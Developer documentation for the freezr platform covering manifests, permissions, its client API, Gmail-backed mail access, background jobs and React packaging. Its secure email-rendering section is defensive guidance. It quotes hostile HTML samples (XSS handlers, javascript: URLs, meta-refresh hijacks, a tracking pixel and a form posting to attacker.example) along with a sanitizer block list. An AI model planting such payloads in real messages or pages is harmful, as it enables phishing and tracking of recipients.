Create Apps
App Creator
The easiest way to build apps is by using freezr's App Creator, which helps you build, preview, and publish freezr apps directly from your browser. Every app lives under a project folder on your freezr server. You write plain HTML, CSS, and JS — there's no build step and no bundler required. (See below for writing in JSX / React)
How it works
Whichever way you create your apps, you should be aware of the way freezr ulls togehter pages and data. Each app contains one or more pages. A page is an HTML file plus optional CSS and JS resources. When a visitor loads the page, freezr injects your resources into a standard HTML skeleton and serves the result. You can define the reseources associated with each page in the app manifest. (Details below) Your JS can call freezr.query(), freezr.create(), and other API methods in your code — the global freezr object and its API are always available, as defined below.
App manifest
Every freezr app should ship a manifest.json read at install time. It describes the app's identity, the pages it serves, the data tables it needs, and the permissions it requests from the user or from other installed apps. (Simple apps can run without a manifest as freezr defaults to checking for the page namesake js css and html files.)
Metadata fields
| Field | Type | Description | |
|---|---|---|---|
| identifier | string | required | Reverse-domain app name, e.g. com.you.myapp. Also the folder name under users_freezr/<user>/apps/. |
| display_name | string | required | Human-readable name shown in the app list |
| description | string | optional | Short description shown in the app listing |
| version | string | optional | Semver version string |
| meta.only_use_collections_listed | boolean | optional | When true, freezr enforces the declared app_tables — writes to undeclared tables fail. Recommended for catching typos early. |
| manifest_url | string | optional | Canonical URL of the manifest zip file (if available). |
Pages
The pages object defines HTML pages served directly from the freezr server. Each entry is keyed by page name (e.g. index) and resolves to /apps/<app_id>/<page>. Page HTML files contain inner-body markup only — no <!DOCTYPE>, <html>, <head> or <body>. freezr wraps them with the document skeleton at render time.
| Field | Type | Description | |
|---|---|---|---|
| page_title | string | required | Browser tab title |
| html_file | string | required | Inner-body HTML filename |
| modules | array | optional | ES-module JS file(s) injected as <script type="module"> with the page nonce |
| script_files | array | optional | Non-module JS file(s) injected as plain <script> tags |
| css_files | array | optional | CSS file(s) linked in the page <head> |
| initial_query | object | optional | WIP. Pre-populates the page server-side using Mustache.js conventions |
App tables
The app_tables object declares the data tables (collections) the app uses. freezr creates them at install time and scopes them to the app's identifier: the actual table name is <app_id>.<table>, so com.you.notes's entries table is stored as com.you.notes.entries.
"app_tables": {
"entries": {
"strictly_Adhere_To_schema": false,
"field_names": {
"title": { "description": "Note title", "type": "String" },
"body": { "description": "Markdown body", "type": "Text" }
}
}
}
Tables are private to the app by default. Sharing with other apps requires a permissions declaration (below) plus the user granting it at install time.
Permissions
An app may request access to another installed app's tables, or to access the user's LLM or serveless instances, or to relax freezr's CSP policies, via the permissions object. Users can also give permission to other users to access specific data records or whole tables, and / or makle them publicly accessible. Each user must approve the permissions requested by apps at install time or later via the Account app. Granted permissions can be revoked at any time.
| Permission | Grants |
|---|---|
| read_all | Read all records in another app or user's table (broad scope) |
| write_all | Create / update records in another app or user's table |
| write_own | Read al and create records in another app or user's table, and be able to update the records that user/app has created. |
| share_records | Share specific records with other users on the same server. Once this permission is given to the app, the app is trusted to decide which persons to share with. |
| db_query | WIP allow apps or users to access records based on specific query criteria. |
| message_records | Send record-linked messages to other users |
| upload_pages | Create an html page which the app can reconstruct with specified js and css files. (This page was created with the upload_pages premission.) |
| allow_self_frames | Relax CSP to allow same-origin and blob: iframes |
| external_fetch | Relax connect-src to whitelisted external domains |
| external_scripts | Allow external scripts with SRI hashes |
| unsafe_eval | Allow eval() / new Function() |
| use_llm | Allow the app to use your llm API Key to ask your llm to perform any task. |
| run_job | Run a background job on demand (when you or the app trigger it). You choose where it runs — on this server (if an admin has trusted it) or on your own cloud. |
| schedule_job | Run a background job automatically on a recurring schedule. Independent of run_job; the app starts the schedule when it's meaningful. |
The freezr global
Every app page has freezrApiV2.js injected before any app script. It defines a global freezr (and window.freezr) object exposing the full client API. Apps do not import it — they call it directly.
The global API is organised as:
| Namespace | Purpose |
|---|---|
| freezr.create / read / update / updateFields / delete / query | Record CRUD |
| freezr.collection(name) | Bound helper for a single table |
| freezr.publicquery | Query another user's public records |
| freezr.upload / getFileUrl / deleteFile | File operations |
| freezr.perms.* | Permission grants, record sharing, public file sharing |
| freezr.messages.* | Cross-user messaging linked to records |
| freezr.llm.* | LLM completions and image generation using the user's stored keys |
| freezr.jobs.* | Run background jobs on demand, start/stop schedules, and check job status (local "trusted" or the user's serverless cloud) |
| freezr.utils.* | Helpers: cookie reading, ping, manifest lookup, resource usage, path building |
| freezr.apiRequest | Low-level HTTP helper for custom endpoints |
freezr.initPageScripts hook is called once on window.load. Apps assign a function to it to run their boot code — this guarantees the API is ready and the page DOM is parsed.
All functions return a Promise. Most accept (primaryArgs, options) where options is an object with optional keys (appToken, host, owner_id, permission_name, requestee_app, etc.). Legacy callback-based methods (freezr.ceps.*, freezr.feps.*) exist only for backward compatibility and log a deprecation warning.
CRUD operations
The first argument is either a bare collection name (prefixed automatically with the calling app's identifier) or a full <app_id>.<table> reference when using requestee_app to access another app's data.
"notes") or full "com.other.app.items"._id is assigned server-side unless data_object_id is passed.const res = await freezr.create( 'notes', { title: 'Hello', body: 'First note' } ) // => { _id: 'abc123', ... }
await freezr.create('notes', data, { data_object_id: 'abc123', upsert: true })
_id.share_records / read_records permission).const note = await freezr.read('notes', 'abc123')
await freezr.read('notes', 'abc123', { owner_id: 'alice', permission_name: 'shared_notes' })
await freezr.update('notes', 'abc123', { title: 'Updated', body: 'New body' })
_id for single-record update, or a query object to update all matching records.await freezr.updateFields('notes', 'abc123', { done: true } )
await freezr.updateFields('notes', { archived: false }, { archived: true } )
await freezr.delete('notes', 'abc123')
await freezr.delete('notes', { archived: true } )
create, read, query, update, updateFields, delete pre-bound to name — convenient when a component only touches one table.const notes = freezr.collection('notes') await notes.create({ title: 'Hi' }) const all = await notes.query({})
Querying records
$where, $function, $accumulator, $expr) are rejected server-side.{ _date_modified: -1 }.const rows = await freezr.query( 'notes', { archived: false }, { sort: { _date_modified: -1 }, count: 20 } )
await freezr.publicquery({ owner: 'alice', app_table: 'com.you.blog.posts', count: 5 })
Files
Binary files are stored through the configured file-system adapter. File metadata (including _id and publicid) lives in the app's files collection, and the file body is addressed by a URL the browser fetches directly.
File object (from <input type="file">) or a Blob.const file = evt.target.files[0] const res = await freezr.upload(file) // => { _id, publicid, filename, size, ... }
// <img src={ freezr.getFileUrl(id) } />
// => /feps/userfiles/<app>/<user>/<id>
freezr.delete('files', fileId). The underlying storage is cleaned up by the file-system adapter.await freezr.deleteFile('img_001')
Permissions & sharing
{ name, granted, description, ... }. Also available: freezr.perms.isGranted(name) for a simple boolean check.const perms = await freezr.perms.getAppPermissions() if (await freezr.perms.isGranted('share_records')) { // show share UI }
Messages
Messages are small, record-linked notifications delivered across users on the same server (or across federated servers). Common uses: share invitations, activity notifications.
<app_id>.<table> containing the record.await freezr.messages.send({ recipient_id: 'bob', table_id: 'com.you.notes.entries', record_id: 'abc123', sharing_permission: 'shared_notes', contact_permission: 'contact_users' })
const msgs = await freezr.messages.getAppMessages() await freezr.messages.markRead(['m1', 'm2'])
LLM
freezr proxies LLM requests through the user's own keys (stored server-side in the account settings). The API abstracts Claude and OpenAI behind a single interface with streaming support via SSE.
{ role, content } for a conversation history.'Claude' or 'ChatGPT'.'sonnet', 'opus', 'mini'...), specific model id, token cap.streamBack: true, chunks are delivered via the callbacks as they arrive.'json' to auto-parse a JSON response. Incompatible with streamBack.const res = await freezr.llm.ask('Summarise', { context: 'You are a concise assistant', family: 'sonnet' }) console.log(res.response, res.meta.tokensUsed)
await freezr.llm.ask(prompt, { streamBack: true, onDelta: (t) => appendToUi(t) })
const img = await freezr.llm.generateImage( 'A cat in a wizard hat, watercolor', { size: '1024x1024' } ) // img.b64Data is a PNG base64 string
Mail (connections)
Apps with a granted use_mail permission can read, search, sync, and send mail on the user's connected accounts via the freezr.connections.mail namespace. The user controls which accounts the app sees through a per-app connection picker at /account/resources. Today the only connector behind the namespace is Gmail; Microsoft Graph and IMAP/SMTP are planned and the API surface won't change when they land. The connections.mail.* SDK is loaded on-demand — it is only injected on apps whose manifest declares a use_mail permission.
| Function | Effect |
|---|---|
| freezr.connections.mail.listAccounts() | Connections this app is allowed to see (filtered server-side by granted scope) |
| freezr.connections.mail.listFolders({ connectionName }) | Folders / labels for one connection (Gmail labels → unified shape) |
| freezr.connections.mail.listMessages({ connectionName, ... }) | Paginated message metadata, optionally with attachment manifests |
| freezr.connections.mail.searchMessages({ connectionName, ... }) | Structured search (text, from, to, since, before, labels, isRead, hasAttachments) |
| freezr.connections.mail.getMessage({ connectionName, messageId }) | One full message with bodies + attachment metadata |
| freezr.connections.mail.getAttachment({ connectionName, messageId, attachmentId, ... }) | Raw attachment bytes (Blob by default; pass responseType: 'arrayBuffer' for binary) |
| freezr.connections.mail.getNewer({ connectionName, lastToken }) | Incremental delta sync — added / deleted / label-changed since lastToken |
| freezr.connections.mail.sendMessage({ connectionName, to, subject, bodyText, ... }) | Send a message (requires write scope) |
| freezr.connections.mail.createDraft({ ... }) | Save a draft on the provider (same args as send) |
| freezr.connections.mail.markRead({ connectionName, messageId, isRead }) | Toggle the message's read flag |
| freezr.connections.mail.moveMessage({ connectionName, messageId, targetFolder }) | Move into another folder / label |
| freezr.connections.mail.trashMessage({ connectionName, messageId }) | Send to Trash (recoverable) |
| freezr.connections.mail.deleteMessage({ connectionName, messageId }) | Permanently delete (skips Trash) |
| freezr.connections.mail.handleTokenExpired(resOrErr) | Detect token_expired and navigate to the reauth URL — returns true if handled |
listAccounts()).['INBOX'] for inbox-only.'has:attachment after:1700000000'). Prefer searchMessages for portable queries.true each row carries an attachments: [{ id, filename, mimeType, sizeBytes }] array. Bodies are not returned — use getMessage per row for those.const { messages, nextPageToken } = await freezr.connections.mail.listMessages({ connectionName: 'gmailWork', labelIds: ['INBOX'], limit: 25 })
const page = await freezr.connections.mail.listMessages({ connectionName, q: 'has:attachment filename:pdf', includeAttachments: true }) for (const m of page.messages) { // m.attachments[i].mimeType is untrusted — see "Common pitfalls" }
listMessages / getNewer row.const { message } = await freezr.connections.mail.getMessage({ connectionName, messageId }) // message.bodyHtml & message.bodyText are present when the // MIME tree has them. NEVER pass bodyHtml to .innerHTML // without sanitization — see "Rendering email safely".
nextToken with changes: [] to seed.{ type: 'messageAdded', message } | { type: 'messageDeleted', messageId } | { type: 'labelAdded' | 'labelRemoved', messageId, labels }.nextToken for the next call. expired: true means the provider's delta window elapsed (Gmail ~7 days) — do a full listMessages reload and seed a fresh token.// first call seeds, returns no events const seed = await freezr.connections.mail.getNewer({ connectionName }) saveToken(seed.nextToken) // later, fetch deltas const res = await freezr.connections.mail.getNewer({ connectionName, lastToken: readToken() }) if (res.expired) { // fall back to full reload reloadFolderFromScratch() } saveToken(res.nextToken) res.changes.forEach(applyToLocalView)
write scope in the granted use_mail permission AND the connection's access.mail set to 'readwrite' in /account/resources.{ address, name } are all accepted.multipart/alternative.[{ filename, mimeType, contentBase64 }]. Keep total payload under ~20 MB (provider limits).threadId attaches to the parent thread on the provider; inReplyTo / references populate the corresponding RFC 822 headers for cross-client threading.await freezr.connections.mail.sendMessage({ connectionName, to: ['alice@example.com'], subject: 'Re: Lunch', bodyText: 'Sounds good — 1pm?', threadId: parent.threadId })
async function fileToBase64 (file) { return new Promise(resolve => { const r = new FileReader() r.onload = () => resolve(r.result.split('base64,')[1]) r.readAsDataURL(file) }) } const contentBase64 = await fileToBase64(fileInput.files[0]) await freezr.connections.mail.sendMessage({ connectionName, to: ['team@x.com'], subject: 'Report', bodyText: 'Attached.', attachments: [{ filename: fileInput.files[0].name, mimeType: fileInput.files[0].type, contentBase64 }] })
// detect token_expired anywhere in the namespace try { const res = await freezr.connections.mail.listMessages({ connectionName }) // ... use res ... } catch (err) { if (freezr.connections.mail.handleTokenExpired(err)) return // redirected to /account/resources showError(err.message) }
Background Jobs
Run server-side code without a server in your app. A job is a module at jobs/<name>/index.mjs exporting async function handler (freezr, params) — inside it, freezr is the same client API, so a job is just an API client that runs outside the browser. freezr resolves where it runs: on this server (in-process, admin-trusted) or on the user's own serverless cloud (e.g. AWS Lambda). Jobs are declared in the manifest's jobs array and gated by two independent permissions — run_job (on demand) and schedule_job (recurring); the user also picks the location when granting.
| Function | Effect |
|---|---|
| freezr.jobs.run(name, params?, opts?) | Run a job on demand. name = your own job, or <ownerApp>.jobs.<job> for a third-party job |
| freezr.jobs.schedule(name) | Start the recurring schedule (granting schedule_job is consent only — the app starts it) |
| freezr.jobs.unschedule(name) | Stop the recurring schedule |
| freezr.jobs.ping() | Per-job status: granted? trusted (runs locally)? scheduled? + is the user's cloud available |
// run a job on demand const res = await freezr.jobs.run('process_inbox', { since: lastRun }) if (res.ok) console.log(res.result) // scheduling is app-driven — start it when it's meaningful await freezr.jobs.schedule('process_inbox') // know what you can do before offering job features const info = await freezr.jobs.ping() // info.has_compute · info.jobs.process_inbox.{ run_job_granted, schedule_job_granted, trusted, scheduled, location }
Background Jobs
freezr apps are generally client-side. When an app needs server-side compute — heavy processing, scheduled/recurring tasks, calling external services, or using node modules — it declares a job: a module at jobs/<name>/index.mjs exporting async function handler (freezr, params). The same handler runs in one of two places, chosen by the user, and is reached through freezr.jobs.*.
A job that needs npm packages ships a pre-built node_modules folder alongside its code — freezr copies it into the deployable unit and never runs npm install.
On this server (admin-trusted)
An admin can trust a job so it runs in-process on the freezr server. Because in-process code has full server access, this is a deliberate admin decision (analogous to installing an npm package); the admin also picks the audience — which users may run the trusted copy (admins only / all users / a named list).
On the user's own cloud (serverless)
If the user has added a serverless (compute) credential — AWS Lambda today — the job is deployed to and runs in the user's own cloud account, on their dime. No admin trust is needed: it's the user's code on the user's compute. freezr bundles the job (with its pre-built dependencies) and ships only short-lived run credentials + params at invoke time; the job calls back to freezr over HTTPS for any data access.
- run_job — run on demand. schedule_job — run automatically (
hourly/daily/weekly). Independent consents. - The user chooses where each runs (auto / this server / their cloud) when granting.
- Scheduling is app-driven: granting
schedule_jobis consent only; the app callsfreezr.jobs.schedule(name)to start it.
Building mail-consuming apps for freezr
Apps that consume mail talk to the user's connected accounts through the freezr.connections.mail namespace. Tokens are never visible client-side — the freezr server holds the OAuth grant, refreshes it transparently, and surfaces a structured token_expired payload when re-auth is needed. This guide covers the patterns every mail app should follow: declaring the right permission scope, rendering email safely, syncing incrementally, sending mail, and the subtle correctness traps that catch most apps the first time.
A working reference implementation ships as the built-in info.freezr.connections / mail page — it exercises every method in the API and is the canary for new connectors. Read its source if you want to copy patterns wholesale.
Permissions model
Mail access is gated on two independent levels — both must allow the action or the call is rejected. This split lets a user keep one account read-only while letting the same app read+write another.
- App-side:
use_mailin the manifest. Declares the app's maximum ask. Fields:connection_names(a list of specific connections, or['*']for all) andscopes(['read']or['read', 'write']). The user accepts or denies in the app-settings dialog and can narrow the connection list there. - Connection-side:
access.mailon the connection record. Set per-connection by the user at/account/resources. Values:'read'or'readwrite'. A connection set to'read'rejects every write call even if the granting app haswritescope.
The practical consequence: an app that only needs to read mail should request scopes: ['read']. Apps that send should request ['read', 'write'] but gracefully handle the case where the user's chosen connection is configured read-only — disable the Compose UI and explain why, rather than failing on submit.
// manifest.json — minimal read-only mail consumer { "identifier": "com.you.receiptlog", ... "permissions": [ { "name": "receipts", "type": "use_mail", "description": "Scan messages for receipts.", "connection_names": ["*"], "scopes": ["read"] } ] }
Token & revocation model
Apps authenticate to freezr with an app token obtained at install time. Two facts about this token matter for mail apps in particular:
- Offline tokens persist. Tokens issued via
/acctapi/generateAppPasswordare valid for up to 6 months. An app that holds an offline token can keep making mail calls without the user being signed in — design your storage with that lifetime in mind. (Apps that do not need offline access should not request the token.) - Revoking the permission revokes the token. When the user revokes
use_mailat/account/resources, freezr both (a) flips the permission record togranted: falseand (b) deletes any offline tokens for that(user, app)pair. The next call gets401 "Token not found in database". App code should treat this identically totoken_expired— surface the reauth path, don't fight the failure. - Per-connection revoke is granular. If the user narrows your
connection_namesat/account/resources(e.g. from["*"]to["gmailWork"]), calls against removed connections start returning 403 with no warning. Handle 403 the same way astoken_expired. - System-app permission shortcuts. A small set of system apps (
info.freezr.connections,info.freezr.creator,info.freezr.admin) have auto-granted permissions defined incommon/systemPermissions.json. Third-party apps cannot get on that list — but you should know it exists when reading the perm-load code inmailContext.
Rendering email safely
An email's HTML body is untrusted external content. It can contain <script>, event-handler attributes (onerror, onload, …), javascript: URLs, and CSS that escapes its container. Rendering it carelessly leaks data to attackers and lets remote senders run code in your app's origin. freezr's CSP blocks the worst categories (no inline scripts, no iframes, no <object>/<embed>), but you still need a sanitization step and you should isolate the rendered DOM.
Threat model — read this once. The threat actor for an email body is the sender, not the app author. The sender is an arbitrary third party; the app author is trusted by the user (they installed the app). This is a different model from the rest of freezr's app-side security, and means you don't get to rely on app-installation review to keep dangerous content out — every message body has to be treated as hostile.
Free defenses you inherit from freezr's CSP
freezr's default Content-Security-Policy (set by the platform; see adapters/rendering/pageLoader.mjs) neutralises a large class of attacks before your app does anything. As long as your manifest doesn't request the matching capability permissions (external_scripts, unsafe_eval, etc.), the following cannot execute in a freezr mail viewer:
<script>...</script>blocks —script-src 'self'with no'unsafe-inline'.<img onerror=...>,<svg onload=...>,<body onclick=...>and every other inline event handler.- Inline
javascript:URLs in<a href>/ form actions. <iframe>,<object>,<embed>— blocked byframe-src 'none'/object-src 'none'. (This is why we use Shadow DOM rather than sandbox iframes for isolation.)- Cross-origin script loads — no external script hosts allowed without
external_scripts. - Cookies scoped to other apps — path-scoped cookies mean even a script that did execute can only read tokens for the same path prefix (e.g.
/connections), not the account token.
Residual risks the CSP does NOT cover — sanitize for these
Some attack categories survive the CSP and have to be caught by your sanitizer or by careful rendering. The sanitizer below covers all of them; if you swap in DOMPurify, confirm its config covers them too.
- Visual phishing. A
<a href="https://attacker.example/...">Click here to verify your account</a>looks legitimate inline. CSP doesn't stop the navigation. Rewriting every link totarget="_blank" rel="noopener noreferrer"(as the sample does) at least keeps the user's session in the mail tab. - Page hijack via
<meta http-equiv="refresh">or<base href>. A<meta refresh>in an email body can redirect the entire page; a<base href>can silently rewrite where every relative URL resolves. The sanitizer strips both. - Layout overlay / UI spoofing.
<div style="position:fixed; top:0; left:0; width:100%; height:100%; background:white; z-index:9999">Sign in</div>can cover your entire app with attacker-controlled content. Shadow DOM contains this — content inside a shadow root cannot reach the parent document — which is the main reason to use shadow rendering rather than appending sanitized HTML directly into your app's DOM. - Tracking pixels.
<img src="https://attacker.example/pixel?to=victim@host">reveals to the sender that the user opened the email plus their IP / User-Agent. This is a privacy issue, not a code-execution issue — CSP allows images from any source so the loader runs. Apps that want to block this can rewrite or strip<img src>values pointing to non-allowlisted domains. - Form submission.
<form action="https://attacker.example">can submit to anywhere. CSP'sform-action 'self'only restricts forms whose action begins as same-origin and then redirects; an external action URL is still attempted. Strip<form>outright unless you really want it. - Untrusted attachment
mimeType. ThemimeTypeon each attachment row comes from the sender's MIME headers — they can lie. ThegetAttachmentroute honors what you pass forContent-Type, so a malicious sender combined with an app that trustsatt.mimeTypeblindly can get the browser to render bytes as the wrong type. If correctness matters (e.g. you only want to run a PDF parser on real PDFs), sniff the buffer's first bytes (PDF starts%PDF-, JPEGFF D8 FF, PNG89 50 4E 47) before handling.
The pattern used by the built-in mail client:
- Sanitize first. Use
DOMParserto parse the HTML in an inert document, then walk the tree and remove dangerous elements (script,iframe,object,embed,link,meta,base,frame,frameset) and attributes (everything beginning withon, plus anyhref/src/poster/formaction/xlink:hrefwhose value starts withjavascript:,vbscript:, ordata:text/html). Forstyleattributes, stripexpression(,behavior:,@import. - Isolate via Shadow DOM. Attach a shadow root to a host element and inject the sanitized HTML there. Shadow DOM scopes
<style>tags inside the body so a sender's CSS can't restyle your app. (Iframes would also isolate, but the freezr CSP blocks them.) - Rewrite links. After injection, set
target="_blank" rel="noopener noreferrer"on every<a>so clicks don't navigate the app away and the opened tab can't reach back viawindow.opener. - Plain text fallback. When only
bodyTextis present, render withtextContentinside a<pre>withwhite-space: pre-wrap. NeverinnerHTMLa plain-text body.
// minimal sanitizer + shadow-root rendering function renderBody (host, m) { if (m.bodyHtml) { const shadow = host.attachShadow({ mode: 'open' }) shadow.innerHTML = '<style>a{color:#2563eb} img{max-width:100%}</style>' + sanitize(m.bodyHtml) shadow.querySelectorAll('a[href]').forEach(a => { a.setAttribute('target', '_blank') a.setAttribute('rel', 'noopener noreferrer') }) } else if (m.bodyText) { const pre = document.createElement('pre') pre.style.whiteSpace = 'pre-wrap' pre.textContent = m.bodyText host.appendChild(pre) } } function sanitize (html) { const doc = new DOMParser().parseFromString(html, 'text/html') const kill = ['script','iframe','object','embed', 'link','meta','base','frame','frameset'] kill.forEach(t => doc.querySelectorAll(t).forEach(n => n.remove())) doc.querySelectorAll('*').forEach(el => { [...el.attributes].forEach(a => { const n = a.name.toLowerCase(), v = String(a.value).toLowerCase().trim() if (n.startsWith('on')) el.removeAttribute(a.name) if ((n === 'href' || n === 'src' || n === 'poster' || n === 'formaction' || n === 'xlink:href') && (v.startsWith('javascript:') || v.startsWith('vbscript:') || v.startsWith('data:text/html'))) el.removeAttribute(a.name) }) }) return doc.body ? doc.body.innerHTML : '' }
For production-grade sanitization, swap the inline function above for DOMPurify — it handles a larger range of obscure escape vectors. The inline version above is the minimum bar.
Incremental sync
getNewer uses each provider's native delta API (Gmail history.list, Graph /messages/delta) to return only what changed since the cursor you saved. It is the right primitive for any app that periodically re-checks a mailbox — vastly cheaper than re-paging through listMessages.
- Persist
nextTokenper connection. Most apps store it in their own data store (e.g. a freezr collection keyed byconnectionName). Don't store it inlocalStorageunless your app is single-device — the cursor needs to travel with the dataset, not the browser. - Seed before reading. The first call with no
lastTokenreturnschanges: []+ a usablenextToken. Save the token; you'll get real deltas next time. The built-in mail client seeds automatically on page load. - Always handle
expired: true. Provider delta windows have hard limits — Gmail invalidates after ~7 days, Graph keeps deltas longer but not forever. Treatexpiredas "do a fulllistMessagesreload and seed a new cursor." - The Gmail history stream is mailbox-wide. If your app shows one folder at a time, filter the returned
messageAddedevents by checking whether the new message'slabelsarray contains your current folder id.messageDeleted/labelAdded/labelRemovedevents should usually be applied regardless of folder, so your local view stays consistent. - Cron is on the roadmap, not yet shipped. Until freezr cron lands, "incremental sync" runs only when your app's page is open and the user (or your code) calls
getNewer. Don't design for background fetching yet.
Sending
sendMessage constructs an RFC 822 MIME message server-side and hands it to the provider. Bodies pass through as supplied — text/HTML you write is the text/HTML the recipient sees — so do your own escaping when interpolating user data into bodyHtml.
- Plain text is enough to start. Most apps don't need
bodyHtml. Gmail rendersbodyTextwell; recipients see normal-looking mail. - Attachments are inline base64. Read browser File objects via
FileReader.readAsDataURLand slice off thedata:<mime>;base64,prefix to getcontentBase64. Keep the total payload under ~20 MB — provider send limits land somewhere between 25–35 MB and you pay base64 overhead on top. - Threading needs
threadId. Replies that come fromgetMessagealready carry the parent'sthreadId; pass it through tosendMessage. For cross-client threading (Outlook, Apple Mail) also setinReplyToto the parent's RFC 822Message-IDheader — but be aware the unifiedmessageshape doesn't surface that today (planned). - Check write permission up front. Before opening a compose UI, verify the chosen connection has
access.mail === 'readwrite'fromlistAccounts()AND your granted permission included'write'. If either fails, grey out Compose and explain — never let the user write a long message only to have it bounce on send.
Attachments
getAttachment returns a Blob (or ArrayBuffer with responseType: 'arrayBuffer'). The freezr CSP blocks <iframe>, <embed>, and <object>, so the cleanest way to surface a PDF, image, or any binary in the browser is to open a blob URL in a new tab:
const blob = await freezr.connections.mail.getAttachment({ connectionName, messageId, attachmentId: att.id, filename: att.filename, mimeType: att.mimeType }) const url = URL.createObjectURL(blob) window.open(url, '_blank', 'noopener') // the browser's native PDF viewer renders PDFs; images render inline; // anything else triggers a download.
- Treat
mimeTypeas untrusted. The MIME type on the attachment row comes from the sender's MIME headers — they can lie. If you care about correctness (e.g. running a PDF parser on what claims to be a PDF), sniff the first few bytes of the buffer (PDF starts%PDF-, JPEGFF D8 FF, PNG89 50 4E 47, etc.). - Revoke blob URLs you create. Either keep them in a list and call
URL.revokeObjectURLwhen you navigate away, or use a short timeout after the click — leaking blob URLs holds memory open as long as the tab lives. - Don't render attachment HTML inline. A
.htmlattachment is just an attachment. If you must show it, fetch it as a blob, sanitize, then render in a Shadow DOM as with the body — neverfetch().then(r => r.text()).then(html => container.innerHTML = html).
Common pitfalls
- Token expiry surfaces as a thrown error, not a success response. Wrap every call in a try/catch and use
freezr.connections.mail.handleTokenExpired(err)as the first check in the catch — it returnstrueafter navigating to the connection's reauth URL. Falling through to a generic error toast loses the user. - Gmail labels ≠ folders. A message can carry multiple labels and several "system" labels are non-exclusive (
STARRED,IMPORTANT, category tags).moveMessageon Gmail is an approximation: the connector adds the target label and removesINBOXwhen the target is anything else. Don't assume "I moved it" means "it left every other folder." - The Gmail search
qis provider-specific. UsesearchMessageswith structured params if you want code that will work unchanged when the Microsoft Graph / IMAP connectors land. The connector translates the same shape into each provider's native query language. - Don't store messages just to "speed things up." The unified API is fast and the provider is the source of truth. Local storage is a correctness liability — sync errors, deletes you missed, label changes you didn't observe. Cache for UI snappiness if you must; never treat your cache as authoritative.
- The
connection_namesfilter is enforced server-side. If a user later revokes access to a specific connection, your calls against that connection start returning 403 — handle it the same way astoken_expired. - Don't call
getMessagein a tight loop. Per-message fetches are real provider hits. If you need bodies for many messages, paginate withlistMessages(which returns metadata cheaply) and fetch the full body only when the user opens one. For attachment manifests without bodies, uselistMessages({ includeAttachments: true })— same row shape, no body decode.
Building React apps for freezr
React runs on freezr as a static bundle — JSX is transpiled at build time, and the output is plain HTML / CSS / ES-module JS that freezr can serve directly. A working end-to-end starter lives at github.com/salmanff/com.salmanff.reacthello.
Constraints
- No inline scripts. CSP blocks them. React's JSX event handlers (
onClick={...}) and module imports are fine; avoid libraries that inject<script>tags at runtime. - No HTML document wrapper. The served
index.htmlis inner-body only (typically<div id="root"></div>). The Vite config below strips the wrapper automatically. - ES modules. Manifest
modulesentries become<script type="module">. Keep build format'es'. - One CSS bundle. Set
build.cssCodeSplit: false— lazy-loaded CSS chunks with hashed names won't be listed in the manifest. - No
<head>ownership. Avoid libraries that assume they controldocument.titleor<meta>tags. - Client-side routing needs a manifest SPA flag not yet in the reference implementation — use hash routing for now.
Vite + React setup
The recommended layout is a single repository where the root is the installable freezr app and a react/ subfolder holds the source:
my-app/ index.html // built: inner-body HTML app.js // built: single ES-module bundle style.css // built: single CSS bundle manifest.json // built: with real filenames react/ // source package.json vite.config.js index.html // dev-only wrapper manifest.json // template src/ main.jsx App.jsx freezrStore.js styles.css
Mount React inside the freezr.initPageScripts callback in production, and immediately in dev (where there is no freezr global):
import { StrictMode } from 'react' import { createRoot } from 'react-dom/client' import App from './App.jsx' import './styles.css' function mount () { createRoot(document.getElementById('root')) .render(<StrictMode><App /></StrictMode>) } if (typeof window !== 'undefined' && window.freezr) { window.freezr.initPageScripts = mount } else { mount() }
Keep all freezr.* calls behind a thin wrapper module, with a localStorage fallback for dev mode:
// freezrStore.js const hasFreezr = () => typeof window !== 'undefined' && window.freezr && typeof window.freezr.query === 'function' export async function listNotes () { if (hasFreezr()) { return window.freezr.query('notes', {}, { sort: { _date_modified: -1 } }) } return readLocal() }
Vite config & packaging
A small Vite plugin does two things after the standard build: write an inner-body index.html, and rewrite manifest.json with the real built filenames:
import { defineConfig } from 'vite' import react from '@vitejs/plugin-react' import { copyFileSync, readdirSync, readFileSync, writeFileSync } from 'node:fs' import { resolve } from 'node:path' function freezrBuild () { let projectRoot, repoRoot, distPath return { name: 'freezr-build', apply: 'build', configResolved (config) { projectRoot = config.root repoRoot = resolve(projectRoot, '..') distPath = resolve(projectRoot, config.build.outDir) }, closeBundle () { const files = readdirSync(distPath) const jsFile = files.find(f => f.endsWith('.js')) const cssFiles = files.filter(f => f.endsWith('.css')) copyFileSync(resolve(distPath, jsFile), resolve(repoRoot, jsFile)) cssFiles.forEach(c => copyFileSync(resolve(distPath, c), resolve(repoRoot, c))) writeFileSync(resolve(repoRoot, 'index.html'), '<div id="root"></div>\n') const manifest = JSON.parse(readFileSync( resolve(projectRoot, 'manifest.json'), 'utf8')) manifest.pages.index.modules = [jsFile] manifest.pages.index.css_files = cssFiles writeFileSync(resolve(repoRoot, 'manifest.json'), JSON.stringify(manifest, null, 2) + '\n') } } } export default defineConfig({ plugins: [react(), freezrBuild()], build: { outDir: 'dist', emptyOutDir: true, cssCodeSplit: false, rollupOptions: { input: resolve('src/main.jsx'), output: { entryFileNames: 'app.js', assetFileNames: '[name][extname]', format: 'es' } } } })
Add a pack script that builds and zips:
"scripts": { "dev": "vite", "build": "vite build", "pack": "vite build && cd .. && zip -r -X com.you.myapp.zip \ index.html app.js style.css manifest.json -x '*.DS_Store'" }
Then:
- Run
npm run packfrom insidereact/. - Log into your freezr server, open the Account app → Install Existing Apps → Upload.
- Upload the zip. The filename must match the app identifier exactly and files must be at the zip root.
- Your app is available at
/app/<app_id>.